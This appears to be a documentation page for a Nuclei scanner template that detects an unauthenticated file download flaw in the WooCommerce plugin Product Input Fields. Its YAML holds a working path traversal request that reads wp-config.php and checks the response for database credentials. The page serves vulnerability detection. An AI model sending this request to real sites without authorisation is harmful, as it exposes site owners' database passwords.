Product Input Fields for WooCommerce < 1.2.7 - Unauthenticated File Download
ID: wp-woocommerce-file-download
Severity: high
Author: 0x_Akoko
Tags: wordpress,woocommerce,lfi,wp-plugin,wp
Description
Section titled “Description”WordPress WooCommerce < 1.2.7 is susceptible to file download vulnerabilities. The lack of authorization checks in the handle_downloads() function hooked to admin_init() could allow unauthenticated users to download arbitrary files from the blog using a path traversal payload.
YAML Source
Section titled “YAML Source”id: wp-woocommerce-file-download
info: name: Product Input Fields for WooCommerce < 1.2.7 - Unauthenticated File Download author: 0x_Akoko severity: high description: | WordPress WooCommerce < 1.2.7 is susceptible to file download vulnerabilities. The lack of authorization checks in the handle_downloads() function hooked to admin_init() could allow unauthenticated users to download arbitrary files from the blog using a path traversal payload. reference: | - https://wpscan.com/vulnerability/15f345e6-fc53-4bac-bc5a-de898181ea74 - https://blog.nintechnet.com/high-severity-vulnerability-fixed-in-product-input-fields-for-woocommerce/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cwe-id: CWE-22 metadata: max-request: 1 tags: wordpress,woocommerce,lfi,wp-plugin,wp
http: - method: GET path: - '{{BaseURL}}/wp-admin/admin-post.php?alg_wc_pif_download_file=../../../../../wp-config.php'
matchers-condition: and matchers: - type: word words: - "DB_NAME" - "DB_PASSWORD" part: body condition: and
- type: status status: - 200# digest: 490a00463044022077cce4ca450843f9769b63440cf229c7487440d441a07e3d804aa9bfe5fa694c0220745d277ab5e3858537c358384d8425bb0b17dcd678f60b92ead71aa9bf1d0d47:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-woocommerce-file-download.yaml"